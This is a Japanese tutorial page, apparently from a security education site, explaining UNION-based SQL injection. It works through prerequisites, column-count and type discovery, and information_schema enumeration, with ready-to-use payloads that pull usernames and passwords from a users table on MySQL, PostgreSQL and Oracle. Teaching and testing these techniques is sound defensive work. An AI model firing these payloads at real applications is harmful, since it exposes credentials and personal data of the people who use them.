Secure Steady
UNION ベース - UNION ベース SQL インジェクション の使い方・オプション・サンプル

UNION ベース - UNION ベース SQL インジェクション

UNION句を使って別テーブルのデータを結合し、本来アクセスできないデータを取得する手法。

概念図

UNION ベース SQL インジェクション diagram

UNION ベース攻撃の前提と基本形

UNION ベース SQL インジェクションは、既存の SELECT クエリに UNION SELECT 句を連結し、別テーブルの結果を同じレスポンスに紛れ込ませる手法である。

成立には画面上に元クエリの結果が表示されること(いわゆる in-band 型)が前提となる。

前提条件 説明
元クエリが SELECT 文 INSERT / UPDATE では UNION は使えない
結果がレスポンスに表示される 一覧画面・詳細画面など
カラム数が一致している UNION は左右のカラム数を揃える必要がある
データ型に互換性がある 各カラムの型が合わない場合は NULL や CAST で調整

典型的な脆弱クエリと攻撃ペイロードは以下のとおりである。

-- 脆弱なクエリ(商品検索)
SELECT id, name, price FROM products WHERE id = $id

-- 攻撃ペイロード($id に注入)
1 UNION SELECT username, password, NULL FROM users--

-- 実際に実行される SQL
SELECT id, name, price FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users--

結果として商品一覧に users テーブルの認証情報が混ざって表示される。

カラム数と型の特定テクニック

UNION を成立させるには、攻撃者はまず元クエリのカラム数とレスポンスに表示される位置、各カラムの型を知る必要がある。

代表的な特定手順は次のとおりである。

手順 目的 ペイロード例
ORDER BY 数増加 カラム数を特定する 1 ORDER BY 1--, 1 ORDER BY 2-- ... エラーが出た直前の値がカラム数
NULL パディング カラム数とデータ型互換を確認 1 UNION SELECT NULL,NULL,NULL--
マーカー挿入 表示される位置を特定 1 UNION SELECT 1,2,3-- → 画面上に "2" が表示されれば 2 番目のカラムが可視
型確認 文字列カラムを探す 1 UNION SELECT NULL,'test',NULL--

表示可能なカラムが特定できたら、そこにデータ抽出用の式を埋め込む。

複数カラムを 1 つに集約したい場合は文字列連結を使う。

-- MySQL: CONCAT で複数カラムをまとめる
1 UNION SELECT NULL, CONCAT(username,0x3a,password), NULL FROM users--

-- PostgreSQL: || 演算子
1 UNION SELECT NULL, username || ':' || password, NULL FROM users--

-- Oracle: || 演算子 + FROM DUAL が必要
1 UNION SELECT NULL, username || ':' || password, NULL FROM users--

information_schema を使ったスキーマ列挙

攻撃者が最初から users テーブルの存在を知っているとは限らない。

そこで多くの RDBMS が提供するメタデータビュー(information_schema)を使って、テーブル名やカラム名を列挙する段階が発生する。

DB メタデータの場所 用途
MySQL / MariaDB information_schema.tables / columns テーブル一覧・カラム一覧
PostgreSQL information_schema.tables / columns, pg_catalog.pg_tables 同上
MSSQL information_schema.tables / columns, sys.tables 同上
Oracle ALL_TABLES, ALL_TAB_COLUMNS information_schema は無く Oracle 独自

典型的な列挙ペイロードを示す。

-- テーブル名を列挙
1 UNION SELECT NULL, table_name, NULL FROM information_schema.tables
WHERE table_schema = DATABASE()--

-- 特定テーブルのカラム名を列挙
1 UNION SELECT NULL, column_name, NULL FROM information_schema.columns
WHERE table_name = 'users'--

-- 全行を1レコードに集約(MySQL GROUP_CONCAT)
1 UNION SELECT NULL, GROUP_CONCAT(table_name SEPARATOR ','), NULL
FROM information_schema.tables WHERE table_schema = DATABASE()--

この列挙により、攻撃者は DB 構造を再現し、次の段階として機微データを含むテーブル(認証情報、決済情報、個人情報等)を優先的に狙う。

DB ユーザーに information_schema への読み取り権限が不要であれば剥奪することで、列挙難易度を高められる。

関連トピック